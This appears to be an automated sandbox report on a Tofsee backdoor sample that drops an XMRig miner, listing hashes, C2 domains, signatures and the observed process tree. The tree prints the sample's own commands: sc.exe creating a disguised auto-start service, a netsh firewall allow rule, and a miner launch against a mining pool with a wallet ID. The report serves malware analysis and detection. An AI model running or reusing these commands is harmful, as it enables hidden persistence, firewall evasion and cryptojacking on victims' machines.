Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27/12/2022, 13:14

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General

  • Target

    file.exe

  • Size

    297KB

  • MD5

    7373472e77b534039c4db7ae9e391676

  • SHA1

    f59ec4c10959a93fb6beaa9fcd05da50fca835b8

  • SHA256

    cd0a8babb7e0194bb05fdab6016b1a2a1d9afb4f580fa1a6c59af0dc45799715

  • SHA512

    bb5bca4643cccf6651ff710343e980e070b2ff74c21907fc3022317955be321f4327f2b0017f417eb2b70dfa98369b63dda64a58b1d92b2741d4c10cd7609171

  • SSDEEP

    6144:PLSYM+drICWkwnrkV3tc0J58xQ3xDPkMo5zXbAc:PGYMGpSnG9cs58xaxDPyrbA

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffmmachz\
      2⤵
        PID:1432
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jihijtvy.exe" C:\Windows\SysWOW64\ffmmachz\
        2⤵
          PID:828
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ffmmachz binPath= "C:\Windows\SysWOW64\ffmmachz\jihijtvy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1288
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ffmmachz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2044
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ffmmachz
          2⤵
          • Launches sc.exe
          PID:1796
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1720
      • C:\Windows\SysWOW64\ffmmachz\jihijtvy.exe
        C:\Windows\SysWOW64\ffmmachz\jihijtvy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:680
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1792
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1756

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\jihijtvy.exe
              Filesize

              10.9MB

              MD5

              fa8288702373a0363dcbbfc64d5ef875

              SHA1

              2c9730ec252c111d64f7a8fe9df0850fe81a98cc

              SHA256

              26c99b7d0fef47254f3400fa81b114df3c40940d87d75587747d2fb6f1056170

              SHA512

              9ea4948d1a2aab44e2ffd481fef4947aa4e333db8603148fd029585c8ad1a62bbdff7c87739ac28f2c18da3f6283d580c62ebc8bfb511c764fdcaee5b81626dd

              Download Submit

            • C:\Windows\SysWOW64\ffmmachz\jihijtvy.exe
              Filesize

              10.9MB

              MD5

              fa8288702373a0363dcbbfc64d5ef875

              SHA1

              2c9730ec252c111d64f7a8fe9df0850fe81a98cc

              SHA256

              26c99b7d0fef47254f3400fa81b114df3c40940d87d75587747d2fb6f1056170

              SHA512

              9ea4948d1a2aab44e2ffd481fef4947aa4e333db8603148fd029585c8ad1a62bbdff7c87739ac28f2c18da3f6283d580c62ebc8bfb511c764fdcaee5b81626dd

              Download Submit

            • memory/680-76-0x0000000000400000-0x000000000044E000-memory.dmp

              Filesize

              312KB

              Download

            • memory/1756-100-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1756-98-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1792-71-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1792-79-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1792-107-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1792-95-0x00000000001C0000-0x00000000001C7000-memory.dmp

              Filesize

              28KB

              Download

            • memory/1792-92-0x0000000005570000-0x000000000597B000-memory.dmp

              Filesize

              4.0MB

              Download

            • memory/1792-73-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1792-89-0x00000000001B0000-0x00000000001B5000-memory.dmp

              Filesize

              20KB

              Download

            • memory/1792-78-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1792-86-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1792-80-0x0000000001930000-0x0000000001B3F000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/1792-83-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

              Download

            • memory/1992-66-0x000000000060C000-0x0000000000621000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1992-54-0x00000000754E1000-0x00000000754E3000-memory.dmp

              Filesize

              8KB

              Download

            • memory/1992-58-0x0000000000400000-0x000000000044E000-memory.dmp

              Filesize

              312KB

              Download

            • memory/1992-57-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

              Download

            • memory/1992-56-0x000000000060C000-0x0000000000621000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1992-67-0x0000000000400000-0x000000000044E000-memory.dmp

              Filesize

              312KB

              Download